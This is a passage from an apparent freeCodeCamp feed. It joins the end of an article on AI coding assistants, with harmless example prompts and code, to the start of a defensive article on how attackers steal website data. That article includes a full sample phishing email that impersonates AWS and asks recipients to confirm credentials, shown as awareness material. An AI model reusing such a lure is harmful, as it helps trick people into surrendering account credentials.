<p>There’s a reason your favorite code editor now feels like it’s reading your mind. AI-powered tools are everywhere, and they’ve become remarkably effective.</p>
<h3 id="heading-from-assistants-to-co-coders">From Assistants to Co-Coders</h3>
<p>When GitHub Copilot first launched, people weren’t sure what to expect. Could it actually write usable code? Would it be more of a novelty than a necessity?</p>
<p>Fast forward to today. Copilot, Amazon CodeWhisperer, Tabnine, and others have gone from helpful to essential. They’ve been trained on millions of code repositories and developer conversations. They don’t just suggest what’s next but understand the why behind it.</p>
<p>Take a solo dev in Jakarta building a delivery app. With Copilot in VS Code, they can scaffold backend logic and set up APIs in half the time.</p>
<p>However, it’s critical to understand that these tools don’t replace foundational programming knowledge. The AI might offer a working solution but it’s still up to you to ensure it’s secure, efficient, and bug-free. Developers need to know why a certain approach works, or when an AI-generated solution might introduce risk. Just like a senior developer, you must be able to review, validate, and adjust the AI's output based on context.</p>
<h3 id="heading-built-right-into-the-editor">Built Right Into the Editor</h3>
<p>Thanks to OpenAI’s GPT-4 and now GPT-4o, AI is no longer just sitting on the sidelines. It’s woven into IDEs like VS Code and JetBrains, as well as browser-based tools. You write a comment and it writes the function. You paste a bug and it suggests a fix. You ask for a performance boost and it rewrites the loop.</p>
<p>Even advanced software like an <a target="_blank" href="https://murf.ai/">AI voice generator</a> is being built into dev tools, so developers can talk instead of typing. Devs are already building a lightweight to-do app just by speaking commands through AI voice generators integrated with their IDE.</p>
<p>It’s not just your average fancy plugin – but a new baseline.</p>
<h3 id="heading-everyones-using-it">Everyone’s Using It</h3>
<p>What started with early adopters has gone mainstream. Freelancers, small dev shops, and global enterprises are building faster with AI. Startups use it to ship MVPs. Enterprises use it to refactor legacy code. <a target="_blank" href="https://www.stickypassword.com/blog/ai-in-cybersecurity-key-benefits-defense-strategies-future-trends-3218">Cybersecurity specialists use AI</a> to detect malware, strengthen digital defenses, and automate threat response.</p>
<p>Still, simply using the tool isn't enough. As a developer, especially if you’re just starting out, you need to learn how to interpret the code AI gives you. AI might write a function that works, but unless you understand its logic and implications, you can’t guarantee its correctness or security. This is where core programming knowledge becomes your superpower.</p>
<p>One team recently migrated a decade-old <a target="_blank" href="https://www.freecodecamp.org/learn/javascript-algorithms-and-data-structures-v8/">Java codebase</a> with the help of Copilot, resulting in cleaner, safer, and clearer logic. No massive rewrite was required.</p>
<p>Another emerging trend is the intersection of <a target="_blank" href="https://www.qrcode-tiger.com/ai-and-qr-codes">AI and QR codes</a>, where developers are utilizing AI to generate dynamic, context-aware QR codes that adapt to user behavior or location. These smart QR codes are integrated into applications for seamless user onboarding, multi-language content delivery, or dynamic promotions – all generated or managed with minimal manual coding thanks to AI.</p>
<p><img src="https://www.codingdojo.com/blog/wp-content/uploads/ai-v2-img3.jpg" alt="ai-v2-img3" class="image--center mx-auto" width="1440" height="1000" loading="lazy"></p>
<p><a target="_blank" href="https://www.aitimejournal.com/what-is-artificial-intelligence-ai/29625/">Image Source</a></p>
<h2 id="heading-how-ai-is-transforming-the-coding-process-step-by-step">How AI is Transforming the Coding Process (Step-by-Step)</h2>
<p>Coding has always been a mix of logic, creativity, and structure. AI doesn't change that, it just speeds up the messy parts and adds a fresh layer of insight.</p>
<p>Let’s walk through how AI now fits into the entire software creation process.</p>
<h3 id="heading-idea-to-code-translation">Idea to Code Translation</h3>
<p>You have a rough idea – maybe it's a weather app. Perhaps it's a script that automatically generates reports. You used to write out specifications and slowly translate your thoughts into a structured format.</p>
<p>Now? You type: “Build a weather app using OpenWeatherMap API with hourly forecast.” AI drafts the scaffolding – functions and API calls – in seconds.</p>
<p>But here’s the catch: while AI can quickly generate the basic structure, like setting up API calls, fetching data, and laying out simple UI elements, it doesn’t always validate whether the API key is securely stored, if error handling is robust, or if the UI is accessible.</p>
<p>As a developer, you still need to review the logic, sanitize inputs, handle edge cases like failed API responses, and ensure the app is secure and performant. AI handles the routine, but you handle the responsibility.</p>
<h3 id="heading-auto-completion-and-pair-programming">Auto-Completion and Pair Programming</h3>
<p>Autocomplete is no longer just about closing parentheses. It’s full-function suggestions, logical next steps, and even inline comments.</p>
<p>With AI, it’s like coding with a buddy who never gets tired. You type a few lines and it fills in the next block. You tweak it. It adapts.</p>
<p>A front-end developer in a remote team codes with GPT-4 side by side. One line at a time, like <a target="_blank" href="https://railsware.com/blog/what-is-pair-programming/">pair programming</a>, but with much more patience.</p>
<p><strong>Example Prompt:</strong> "Using React and Tailwind CSS, create a responsive navigation bar with a logo on the left and links on the right. The navbar should turn into a hamburger menu on mobile."</p>
<p><strong>AI’s Answer:</strong></p>
<pre><code class="lang-javascript"><span class="hljs-keyword">import</span> React, { useState } <span class="hljs-keyword">from</span> <span class="hljs-string">"react"</span>;

<span class="hljs-keyword">export</span> <span class="hljs-keyword">default</span> <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">Navbar</span>(<span class="hljs-params"></span>) </span>{

  <span class="hljs-keyword">const</span> [open, setOpen] = useState(<span class="hljs-literal">false</span>);

  <span class="hljs-keyword">return</span> (

    <span class="xml"><span class="hljs-tag">&lt;<span class="hljs-name">nav</span> <span class="hljs-attr">className</span>=<span class="hljs-string">"bg-white shadow-md"</span>&gt;</span>

      <span class="hljs-tag">&lt;<span class="hljs-name">div</span> <span class="hljs-attr">className</span>=<span class="hljs-string">"max-w-7xl mx-auto px-4 flex justify-between items-center h-16"</span>&gt;</span>

        <span class="hljs-tag">&lt;<span class="hljs-name">div</span> <span class="hljs-attr">className</span>=<span class="hljs-string">"text-xl font-bold"</span>&gt;</span>MyLogo<span class="hljs-tag">&lt;/<span class="hljs-name">div</span>&gt;</span>

        <span class="hljs-tag">&lt;<span class="hljs-name">div</span> <span class="hljs-attr">className</span>=<span class="hljs-string">"hidden md:flex space-x-6"</span>&gt;</span>

          <span class="hljs-tag">&lt;<span class="hljs-name">a</span> <span class="hljs-attr">href</span>=<span class="hljs-string">"#"</span>&gt;</span>Home<span class="hljs-tag">&lt;/<span class="hljs-name">a</span>&gt;</span>

          <span class="hljs-tag">&lt;<span class="hljs-name">a</span> <span class="hljs-attr">href</span>=<span class="hljs-string">"#"</span>&gt;</span>About<span class="hljs-tag">&lt;/<span class="hljs-name">a</span>&gt;</span>

          <span class="hljs-tag">&lt;<span class="hljs-name">a</span> <span class="hljs-attr">href</span>=<span class="hljs-string">"#"</span>&gt;</span>Contact<span class="hljs-tag">&lt;/<span class="hljs-name">a</span>&gt;</span>

        <span class="hljs-tag">&lt;/<span class="hljs-name">div</span>&gt;</span>

        <span class="hljs-tag">&lt;<span class="hljs-name">button</span>

          <span class="hljs-attr">className</span>=<span class="hljs-string">"md:hidden"</span>

          <span class="hljs-attr">onClick</span>=<span class="hljs-string">{()</span> =&gt;</span> setOpen(!open)}
        &gt;

          ☰

        <span class="hljs-tag">&lt;/<span class="hljs-name">button</span>&gt;</span>

      <span class="hljs-tag">&lt;/<span class="hljs-name">div</span>&gt;</span>

      {open &amp;&amp; (

        <span class="hljs-tag">&lt;<span class="hljs-name">div</span> <span class="hljs-attr">className</span>=<span class="hljs-string">"md:hidden px-4 pb-4"</span>&gt;</span>

          <span class="hljs-tag">&lt;<span class="hljs-name">a</span> <span class="hljs-attr">href</span>=<span class="hljs-string">"#"</span>&gt;</span>Home<span class="hljs-tag">&lt;/<span class="hljs-name">a</span>&gt;</span>

          <span class="hljs-tag">&lt;<span class="hljs-name">a</span> <span class="hljs-attr">href</span>=<span class="hljs-string">"#"</span>&gt;</span>About<span class="hljs-tag">&lt;/<span class="hljs-name">a</span>&gt;</span>

          <span class="hljs-tag">&lt;<span class="hljs-name">a</span> <span class="hljs-attr">href</span>=<span class="hljs-string">"#"</span>&gt;</span>Contact<span class="hljs-tag">&lt;/<span class="hljs-name">a</span>&gt;</span>

        <span class="hljs-tag">&lt;/<span class="hljs-name">div</span>&gt;</span>

      )}

    <span class="hljs-tag">&lt;/<span class="hljs-name">nav</span>&gt;</span></span>
  );
}
</code></pre>
<p>What’s good:</p>
<ul>
<li><p>It’s a clear, working example</p>
</li>
<li><p>It uses Tailwind utility classes for quick styling</p>
</li>
<li><p>It demonstrates responsive behavior without extra libraries</p>
</li>
</ul>
<p>What could be better:</p>
<ul>
<li><p>No accessibility features like aria attributes.</p>
</li>
<li><p>The hamburger icon is basic text instead of an SVG or icon component.</p>
</li>
<li><p>No animation for menu toggle.</p>
</li>
</ul>
<p>A well-structured prompt gives AI clear instructions (framework, styling tool, behavior). The more specific you are, the closer the AI output will match your intended result. But you’ll still need to review the code it outputs for best practices and accessibility – and as long as you know to check for these key features, you can work with the AI to improve the code it generates.</p>
<p>As you can see, it’s not enough to let AI autocomplete for you without any oversight. You still need to understand what it’s completing. Why does this code work? Is it the best way to do it? Could there be a security loophole? Beginners should treat AI suggestions as opportunities to learn, not shortcuts to skip thinking.</p>
<h3 id="heading-code-review-and-debugging">Code Review and Debugging</h3>
<p>Tired of squinting at error logs? AI now reads them for you and explains them in plain English.</p>
<p>Say you feed it an error message. It tells you what’s wrong, how to fix it, and even features examples.</p>
<p>Now, developers use tools like ChatGPT for <a target="_blank" href="https://techinformed.com/how-to-use-ai-in-coding-and-debugging/">instant code debugging</a> by simply pasting in the buggy chunk and asking what’s wrong. No waiting for a teammate or filtering through logs for hours.</p>
<p><strong>Example Prompt:</strong> "Here’s my Python code. It’s supposed to read a JSON file and print the 'name' field, but I’m getting a TypeError: string indices must be integers. Can you find the bug and fix it?"</p>
<pre><code class="lang-python"><span class="hljs-keyword">import</span> json

<span class="hljs-keyword">with</span> open(<span class="hljs-string">'data.json'</span>, <span class="hljs-string">'r'</span>) <span class="hljs-keyword">as</span> f:

    data = f.read()

print(data[<span class="hljs-string">'name'</span>])
</code></pre>
<p><strong>AI Answer:</strong> The error occurs because json.load() or json.loads() is required to convert the JSON string into a dictionary. Currently, you’re working with a plain string, so indexing it with 'name' causes the TypeError.</p>
<p>Here’s the corrected code:</p>
<pre><code class="lang-python"><span class="hljs-keyword">import</span> json

<span class="hljs-keyword">with</span> open(<span class="hljs-string">'data.json'</span>, <span class="hljs-string">'r'</span>) <span class="hljs-keyword">as</span> f:

    data = json.load(f)

print(data[<span class="hljs-string">'name'</span>])
</code></pre>
<p>What’s good:</p>
<ul>
<li><p>AI explains why the error happens, not just the fix.</p>
</li>
<li><p>Provides a working corrected version.</p>
</li>
<li><p>Uses the correct method for JSON parsing.</p>
</li>
</ul>
<p>What could be better:</p>
<ul>
<li><p>No suggestion for adding error handling (for example, file not found or missing key).</p>
</li>
<li><p>Doesn’t check if 'name' exists before accessing it.</p>
</li>
</ul>
<p>So here, you can see that a clear, context-rich prompt with both the code and error message lets AI give accurate, targeted help. But even with a good fix, you should still review for edge cases and best practices.</p>
<h3 id="heading-refactoring-and-optimization">Refactoring and Optimization</h3>
<p>Legacy code is hard to touch. But AI makes it easier.</p>
<p>You prompt, “optimize for performance,” and it rewrites loops, applies patterns, and removes dead code.</p>
<p>AI tools now help <a target="_blank" href="https://www.cogentuniversity.com/post/ai-powered-code-optimization-redefining-software-engineering-standards?utm_source=chatgpt.com">developers spot and fix performance issues</a> like redundant loops or inefficient logic without manual rewrites.</p>
<p><strong>Example Prompt:</strong> "Here’s my Python code for summing a list. Can you optimize it for performance and readability?"</p>
<pre><code class="lang-python">total = <span class="hljs-number">0</span>

<span class="hljs-keyword">for</span> i <span class="hljs-keyword">in</span> range(len(numbers)):

    total = total + numbers[i]

print(total)
</code></pre>
<p><strong>AI’s Answer:</strong> Your current code loops through indices unnecessarily. In Python, using the built-in sum() function is more efficient and concise.</p>
<pre><code class="lang-python">print(sum(numbers))
</code></pre>
<p>What’s good:</p>
<ul>
<li><p>AI replaced a verbose loop with a highly optimized built-in function.</p>
</li>
<li><p>Improved readability dramatically.</p>
</li>
<li><p>Reduces the chance of introducing bugs during refactoring.</p>
</li>
</ul>
<p>What could be better:</p>
<ul>
<li><p>AI didn’t check if the numbers are guaranteed to be a list of numeric values.</p>
</li>
<li><p>No performance benchmark to show improvement.</p>
</li>
</ul>
<p>The more specific you are with your optimization request (for example, “optimize for speed without losing readability”), the better AI can balance performance and maintainability. A good refactor isn’t just faster – it’s safer and easier to understand.</p>
<h3 id="heading-learning-and-skill-acceleration">Learning and Skill Acceleration</h3>
<p>Coding used to mean searching Stack Overflow for hours. That’s changed.</p>
<p>Now, you ask the AI tool: “Why does this line break?” It replies – context-aware and accurate.</p>
<p>If you're a junior developer, learn asynchronous JavaScript by watching Copilot. With an AI tool like Copilot by your side, you can complete your loops, correct mistakes, and get real-time explanations of what the code is doing.</p>
<p>The AI becomes a sort of tutor – suggesting solutions, providing reasoning, and helping you understand programming concepts as you build.</p>
<p><strong>Example Prompt:</strong> "Can you explain what async and await do in JavaScript and show me an example of fetching data from an API using them?"</p>
<p><strong>AI’s Answer:</strong> In JavaScript, async makes a function return a promise, and await pauses the function until the promise resolves. This allows you to write asynchronous code that looks synchronous.</p>
<p>Example:</p>
<pre><code class="lang-javascript"><span class="hljs-keyword">async</span> <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">getUserData</span>(<span class="hljs-params"></span>) </span>{
  <span class="hljs-keyword">try</span> {
    <span class="hljs-keyword">const</span> response = <span class="hljs-keyword">await</span> fetch(<span class="hljs-string">'https://api.example.com/users/1'</span>);
    <span class="hljs-keyword">const</span> data = <span class="hljs-keyword">await</span> response.json();
    <span class="hljs-built_in">console</span>.log(data);
  } <span class="hljs-keyword">catch</span> (error) {
    <span class="hljs-built_in">console</span>.error(<span class="hljs-string">'Error fetching data:'</span>, error);
  }
}

getUserData();
</code></pre>
<p>What’s good:</p>
<ul>
<li><p>Clear explanation before showing the code.</p>
</li>
<li><p>Example demonstrates real-world usage with error handling.</p>
</li>
<li><p>Combines both concept explanation and practical application.</p>
</li>
</ul>
<p>What could be better:</p>
<ul>
<li><p>Could include a comparison with traditional .then() syntax for deeper understanding.</p>
</li>
<li><p>Doesn’t mention browser compatibility or polyfills for older environments.</p>
</li>
</ul>
<p>For learning, the best prompts are concept + example requests. They help AI give explanations that stick and code you can directly experiment with – accelerating both understanding and hands-on skills.</p>
<h3 id="heading-ai-in-no-codelow-code-platforms">AI in No-Code/Low-Code Platforms</h3>
<p>AI has also blurred the line between devs and non-devs. A non-developer can now understand what the site requires by leveraging the power of AI. You engineer a prompt according to your requirements, use the output, and get on with your life.</p>
<p>AI prompts now power tools like Bubble, Glide, and Webflow. Users describe what they want. <a target="_blank" href="https://www.brandcrowd.com/blog/how-to-use-ai-to-launch-your-business/">AI builds workflows</a>, creates logic, and connects data sources.</p>
<p>However, this doesn’t mean AI replaces the need for a knowledgeable developer—especially if you’re aiming to build a secure, accessible, and production-ready application. While AI can generate working prototypes or components, it won’t always account for performance optimization, data privacy, or UX best practices. These areas still require human judgment, technical know-how, and experience.</p>
<p>Here is an example of a 'Back To Top' button that can be integrated into any website.</p>
<p><strong>Example Prompt</strong>: “Create a simple HTML, CSS, and JavaScript snippet that displays a "Back to Top" button when the user scrolls down, and smoothly scrolls to the top of the page when clicked.”</p>
<p><strong>AI’s Answer</strong>:</p>
<pre><code class="lang-markdown"><span class="xml"><span class="hljs-comment">&lt;!-- HTML --&gt;</span></span>

<span class="xml"><span class="hljs-tag">&lt;<span class="hljs-name">button</span> <span class="hljs-attr">id</span>=<span class="hljs-string">"backToTop"</span>&gt;</span></span>⬆ Back to Top<span class="xml"><span class="hljs-tag">&lt;/<span class="hljs-name">button</span>&gt;</span></span>

<span class="xml"><span class="hljs-comment">&lt;!-- CSS --&gt;</span></span>

<span class="xml"><span class="hljs-tag">&lt;<span class="hljs-name">style</span>&gt;</span></span>

  #backToTop {

<span class="hljs-code">    display: none;
</span>
<span class="hljs-code">    position: fixed;
</span>
<span class="hljs-code">    bottom: 40px;
</span>
<span class="hljs-code">    right: 40px;
</span>
<span class="hljs-code">    padding: 10px 15px;
</span>
<span class="hljs-code">    font-size: 14px;
</span>
<span class="hljs-code">    background-color: #333;
</span>
<span class="hljs-code">    color: white;
</span>
<span class="hljs-code">    border: none;
</span>
<span class="hljs-code">    border-radius: 4px;
</span>
<span class="hljs-code">    cursor: pointer;
</span>
<span class="hljs-code">    z-index: 1000;
</span>
  }

<span class="xml"><span class="hljs-tag">&lt;/<span class="hljs-name">style</span>&gt;</span></span>

<span class="xml"><span class="hljs-comment">&lt;!-- JavaScript --&gt;</span></span>

<span class="xml"><span class="hljs-tag">&lt;<span class="hljs-name">script</span>&gt;</span></span>

  const btn = document.getElementById("backToTop");

  window.onscroll = () =&gt; {

<span class="hljs-code">    if (document.body.scrollTop &gt; 200 || document.documentElement.scrollTop &gt; 200) {
</span>
<span class="hljs-code">      btn.style.display = "block";
</span>
<span class="hljs-code">    } else {
</span>
<span class="hljs-code">      btn.style.display = "none";
</span>
<span class="hljs-code">    }
</span>
  };
  btn.onclick = () =&gt; {

<span class="hljs-code">    window.scrollTo({ top: 0, behavior: 'smooth' });
  };
&lt;/script&gt;</span>
</code></pre>
<p>What’s good:</p>
<ul>
<li><p>Clean, minimal code that’s easy to integrate into any webpage.</p>
</li>
<li><p>Smooth scrolling for a better user experience.</p>
</li>
<li><p>Works without external libraries, keeping load time light.</p>
</li>
<li><p>Positioning ensures the button is always visible when active.</p>
</li>
</ul>
<p>What could be better:</p>
<ul>
<li><p>No accessibility attributes (aria-label) for screen readers.</p>
</li>
<li><p>No hover/focus styles for better UX feedback.</p>
</li>
<li><p>No debounce on scroll listener – might slightly impact performance on heavy pages.</p>
</li>
<li><p>Hardcoded colors and positions limit customization without editing CSS.</p>
</li>
</ul>
<p>The prompt is clear and specific, so the AI produced a working, minimal solution. But a production-ready version should include accessibility features, performance considerations, and style enhancements</p>
<h3 id="heading-collaboration-and-workflow-automation">Collaboration and Workflow Automation</h3>
<p>AI doesn’t just touch code – it touches the entire development lifecycle. And automation is just one facet of what AI can do.</p>
<p>AI now auto-generates test cases. It syncs documentation. It creates changelogs from commits. It even suggests sprint tasks based on new PRs. It can also turn your user requirements into <a target="_blank" href="https://slidemodel.com/how-to-use-ai-to-generate-a-powerpoint-presentation/">slide decks generated with AI</a>, ready for presenting to the stakeholders.</p>
<p><strong>Example Prompt:</strong> "From these Git commit messages, generate a release changelog in markdown format for version 2.1. Make it clean and easy to read for non-technical stakeholders."</p>
<pre><code class="lang-markdown">fix: corrected API timeout issue in user login  

feat: added dark mode support for dashboard  

chore: updated dependencies to latest versions  

feat: integrated payment gateway with PayPal support
</code></pre>
<p><strong>AI’s Answer:</strong></p>
<pre><code class="lang-plaintext">## 🚀 Version 2.1 Release Notes

### New Features

- Added dark mode support for the dashboard.  

- Integrated payment gateway with PayPal support.  

### Fixes

- Resolved API timeout issue during user login.  

### Maintenance

- Updated dependencies to the latest versions for improved stability.
</code></pre>
<p>What’s good:</p>
<ul>
<li><p>Output is clean, well-structured, and non-technical friendly.</p>
</li>
<li><p>Groups changes into categories for clarity.</p>
</li>
<li><p>Uses simple markdown for easy sharing.</p>
</li>
</ul>
<p>What could be better:</p>
<ul>
<li><p>Could add the release date automatically.</p>
</li>
<li><p>No links to PRs or related tickets for deeper context.</p>
</li>
</ul>
<p>For workflow automation, prompts work best when they clearly define the input format, output style, and audience. This ensures the AI produces something that is correct and presentation-ready without extra edits.</p>
<p>Every workplace, whether a small startup or a big tech company, relies on automation today. Chats, follow-ups, and performance marketing are all automated.</p>
<p><img src="https://miro.medium.com/v2/resize:fit:1000/1*zZvxP-_EpDJpyIDd8WLxiw.png" alt="1*zZvxP-_EpDJpyIDd8WLxiw" class="image--center mx-auto" width="1000" height="709" loading="lazy"></p>
<p><a target="_blank" href="https://seattlewebsitedesign.medium.com/top-language-for-ai-5516d92d1cc1">Image Source</a></p>
<h2 id="heading-the-implications-productivity-creativity-and-risks">The Implications: Productivity, Creativity, and Risks</h2>
<p>So yes, things are moving faster. But that speed comes with new developments and challenges as well.</p>
<h3 id="heading-the-productivity-boom">The Productivity Boom</h3>
<p>Developers are shipping faster than ever. Some reports show gains of 2–3 times in feature rollout speed. Bug fixes that took days now happen in hours.</p>
<p>This isn’t just about speed. It’s about staying in flow. When AI handles tedious tasks, developers get more time for thoughtful design and tackling bigger problems.</p>
<h3 id="heading-creativity-has-found-a-new-shape">Creativity Has Found a New Shape</h3>
<p>Here’s the catch: when AI does the heavy lifting, it’s easy to go on autopilot. There’s a risk that developers stop thinking deeply about structure or algorithms. Relying too much on AI suggestions can lead to a shallow understanding.</p>
<p>In 2025, the best developers aren’t just writing code. They’re guiding what AI builds, and creativity shifts from doing to directing.</p>
<h3 id="heading-ethical-concerns">Ethical Concerns</h3>
<p>AI-generated code can raise ethical flags.</p>
<ul>
<li><p>Plagiarism: If the AI is trained on copyrighted code, where’s the line?</p>
</li>
<li><p>Bias: Some AI tools may suggest insecure patterns or biased logic.</p>
</li>
<li><p>Overtrust: Just because the AI writes it doesn’t mean it’s right.</p>
</li>
</ul>
<p>Often, AI tools output incorrect logic or code. ChatGPT often says, ‘It doesn’t feel like generating long code.’ In some cases, they may even stop short of generating full-length code snippets, either due to internal safety filters, token limits, or vague prompts, resulting in partial or unusable output. Sometimes it doesn't work, and that becomes a problem.</p>
<p>Developers need to be diligent in reviewing, testing, and taking ownership of the code they write. AI is fast, but it’s not foolproof.</p>
<h3 id="heading-jobs-are-changing">Jobs Are Changing</h3>
<p>No, AI hasn’t wiped out developer jobs. But the job description is evolving.</p>
<p>In 2025, “prompt engineer” is more than just a trend. It’s a real skill. Knowing how to give the proper instruction – what to say, how to say it, and when – is becoming core to modern dev work.</p>
<p>New roles are emerging: AI trainers, code curators, and integration specialists.</p>
<p>AI is changing coding, but it’s not replacing coders. The <a target="_blank" href="https://infinitysofthint.com/blog/impact-of-artificial-intelligence/">future of AI</a> is reshaping how we work, what we focus on, and how we solve problems.</p>
<p>The shift is here: from writing every line by hand to steering intelligent tools. From debugging blindly to spotting issues with clarity. From repetitive tasks to higher-level thinking.</p>
<p>We’re not in the age of AI dominance. We’re in the age of AI partnership.</p>
<h2 id="heading-and-whats-next">And What’s Next?</h2>
<p>Expect custom LLMs tailored to your codebase. AI-native frameworks that generate production-grade apps from wireframes. Guardrails that ensure quality and security by default.</p>
<p>The future isn’t about less code. It’s about writing better code with better tools, more intelligent helpers, and faster feedback.</p>
<p>That’s not science fiction. That’s 2025.</p>
 ]]>
                </content:encoded>
            </item>
        
            <item>
                <title>
                    <![CDATA[ How Attackers Steal Data from Websites (And How to Stop Them) ]]>
                </title>
                <description>
                    <![CDATA[ Across platforms, behind every app, and on your own website, hackers may patiently wait.  These days, everyone should have identity theft protections, and be informed about data threats lurking in the trenches of the world-wide-web’s war on privacy a... ]]>
                </description>
                <link>https://www.freecodecamp.org/news/how-attackers-steal-data-from-websites-and-how-to-stop-them/</link>
                <guid isPermaLink="false">6849e4d1a3aec42347669919</guid>
                
                    <category>
                        <![CDATA[ websecurity ]]>
                    </category>
                
                    <category>
                        <![CDATA[ SQL ]]>
                    </category>
                
                    <category>
                        <![CDATA[ JavaScript ]]>
                    </category>
                
                    <category>
                        <![CDATA[ Security ]]>
                    </category>
                
                    <category>
                        <![CDATA[ HTML5 ]]>
                    </category>
                
                <dc:creator>
                    <![CDATA[ Alex Tray ]]>
                </dc:creator>
                <pubDate>Wed, 11 Jun 2025 20:19:29 +0000</pubDate>
                <media:content url="https://cdn.hashnode.com/res/hashnode/image/upload/v1748376908250/fabf8346-d3fb-47ff-940b-f30b6e476ca5.png" medium="image" />
                <content:encoded>
                    <![CDATA[ <p>Across platforms, behind every app, and on your own website, hackers may patiently wait. </p>
<p>These days, everyone should have identity theft protections, and be informed about data threats lurking in the trenches of the world-wide-web’s war on privacy and personal information. To prevent hacks, reduce liabilities, and keep information secure, you should know how hackers steal data from websites.</p>
<p>When your precious data is taken, sold, and circulated, the damage is not nearly done. Unlike stolen items, data theft opens up new frightening risks: weeks of auditing, months of new expenses, years of legal consequences, on and on. Stolen website data burns people, steals identities, and hurts businesses.</p>
<p>More than ever, website data theft sustains a torrential stream of new class action lawsuits. Even with careful design and strong <a target="_blank" href="https://www.flowlu.com/blog/productivity/growing-a-team-with-a-strong-focus-on-security-and-compliance/">internal security practices</a> like employee training and compliance protocols, <a target="_blank" href="https://termly.io/resources/articles/biggest-data-breaches/">website data breaches</a> continue to escalate.</p>
<p>Companies, developers, and users all endure the sting of the data breach. News and social media storms publicize the horror of these "heists." Steel-faced cybersecurity starts with knowing hackers’ modes of attack.</p>
<p>In this article, we'll explore common ways that attackers steal data, as well as a step-by-step plan you can use to enhance your website’s security.</p>
<h3 id="heading-what-well-cover">What we’ll cover:</h3>
<ul>
<li><p><a class="post-section-overview" href="#heading-1-phishing-and-social-engineering">1. Phishing and Social Engineering</a></p>
</li>
<li><p><a class="post-section-overview" href="#heading-2-sql-injection-xss-and-csrf">2. SQL Injection, XSS, and CSRF</a></p>
</li>
<li><p><a class="post-section-overview" href="#heading-3-brute-force-password-attacks">3. Brute Force Password Attacks</a></p>
</li>
<li><p><a class="post-section-overview" href="#heading-malware-and-malicious-scripts">4. Malware and Malicious Scripts</a></p>
</li>
<li><p><a class="post-section-overview" href="#heading-5-man-in-the-middle-attacks-and-public-connections">5. Man-in-the-Middle Attacks and Public Connections</a></p>
</li>
<li><p><a class="post-section-overview" href="#heading-6-outdated-software-and-old-plugins">6. Outdated Software and Old Plugins</a></p>
</li>
<li><p><a class="post-section-overview" href="#heading-7-apis-integrations-and-third-party-attacks">7. APIs, Integrations, and Third-Party Attacks</a></p>
</li>
<li><p><a class="post-section-overview" href="#heading-where-the-dark-web-dumps-your-data">Where the Dark Web Dumps Your Data</a></p>
</li>
<li><p><a class="post-section-overview" href="#heading-defend-your-data">Defend Your Data</a></p>
</li>
</ul>
<p>Hackers employ various tactics to deceive users and exploit website vulnerabilities.</p>
<p>From phishing schemes to aiming to exploit outdated design elements, your first line of defense will be knowing the hacker's most predictable methods.</p>
<p>Here are some of the most common types of attacks:</p>
<ul>
<li><p><strong>High-risk credentials</strong>: Sellers organize credentials by platform – like email, banking, social, and so on – and sell batches of these details in bulk.</p>
</li>
<li><p><strong>Identity fraud:</strong> From a dark web identity, attackers could get everything needed to impersonate you (name, birthdate, SSN, address, home title, and more).</p>
</li>
<li><p><strong>Data trading</strong>: Hackers test email, phone, password details across many platforms to capture valuable information and co-opt accounts.</p>
</li>
<li><p><strong>Individual extortion</strong>: Sensitive formats – like private messages, images, or financial records – can be used against victims of data theft as blackmail.</p>
</li>
</ul>
<p>Now let’s take a deeper look into some specific scams and how to protect yourself against them.</p>
<h2 id="heading-1-phishing-and-social-engineering">1. Phishing and Social Engineering</h2>
<p>Phishing and social engineering attacks rely on tricking people, not just machines.</p>
<p>Attackers pose as trusted contacts or organizations and try to manipulate users into revealing sensitive information or performing risky actions. These attacks can come through convincing emails, text messages, and even <a target="_blank" href="https://www.cloudtalk.io/blog/5-common-voip-security-risks-that-might-threaten-your-business/">VoIP phone calls</a>. Some even use AI in call center operations to sound more legitimate.</p>
<ul>
<li><p><strong>Phishing</strong> tricks users into revealing sensitive passwords and information by posing as a trustworthy website.</p>
</li>
<li><p><strong>Social engineering</strong> manipulates people to share personal information and lower cybersecurity defenses.</p>
</li>
</ul>
<p>More advanced attempts to steal data are described as spear-phishing or "BEC" (business email compromise).</p>
<ul>
<li><p><strong>Spear-phishing</strong> targets individuals with attacks designed for specific individuals or groups.</p>
</li>
<li><p><strong>Business Email Compromise (BEC)</strong> impersonates executives to request or authorize fraudulent transactions.</p>
</li>
</ul>
<p>Here’s an example of a phishing email that may land in your inbox:</p>
<p><img src="https://lh7-rt.googleusercontent.com/docsz/AD_4nXeG_BFg3-yAujDNS1rKr2JUkogtOC4oedphrNR7dJr4CMdhKFrcsj3oJR0KaxTmrLzg1f2dKl1ml8KsojIScPdDPN38_E8vytWSAeL9ub5KxAhhhFLeAdo50zZbwPJwwj1xQmJcUA?key=BWNWCCilXXEL-m-TnJSXQ5rh" alt="AD_4nXeG_BFg3-yAujDNS1rKr2JUkogtOC4oedphrNR7dJr4CMdhKFrcsj3oJR0KaxTmrLzg1f2dKl1ml8KsojIScPdDPN38_E8vytWSAeL9ub5KxAhhhFLeAdo50zZbwPJwwj1xQmJcUA?key=BWNWCCilXXEL-m-TnJSXQ5rh" width="600" height="400" loading="lazy"></p>
<p>This email, ostensibly from AWS, says:</p>
<p>“Dear Valued Customer,</p>
<p>As part of our ongoing security enhancements, we have identified <strong>a</strong> <strong>critical vulnerability</strong> affecting your AWS environment. To prevent potential threats and ensure compliance with the latest security standards, an immediate security update is required.</p>
<p>Please log in to the <strong>AWS Security Update Portal</strong> and confirm your credentials to apply the necessary updates. [Link to portal]</p>
<p>Failure to complete this update <strong>within the next 24 hours</strong> may result in <strong>temporary access restrictions to your AWS account.</strong> If you have any questions, please feel free to contact our support team at +1 408 738 7799.</p>
<p>Thank you for your prompt attention to this matter.</p>
<p>Best Regards,<br><strong>AWS Security Team</strong><br>(AWS Support ID: #74829)<br>phone: +1 408 738 7799”</p>
<p>The email appears urgent and looks like it came from a trusted source. But the link leads to a spoofed website designed to steal login credentials. Phishing attacks often use this combination of urgency, official-looking branding, and impersonated email addresses to deceive users.</p>
<h3 id="heading-how-to-prevent-phishing-and-social-engineering">How to Prevent Phishing and Social Engineering</h3>
<h4 id="heading-1-train-users-regularly-and-thoroughly">1. Train users regularly and thoroughly</h4>
<p>Educating employees is the most effective first line of defense. Regularly educate employees about phishing tactics, common warning signs, and how to recognize suspicious messages.</p>
<p>In training sessions, include real examples of phishing emails, simulate attacks within your organization, and review the latest tactics used by scammers. Employees should know how to identify red flags like unfamiliar sender addresses, suspicious attachments, and urgent language that pressures immediate action. Reinforce the idea that it's okay to pause and question anything that feels off.</p>
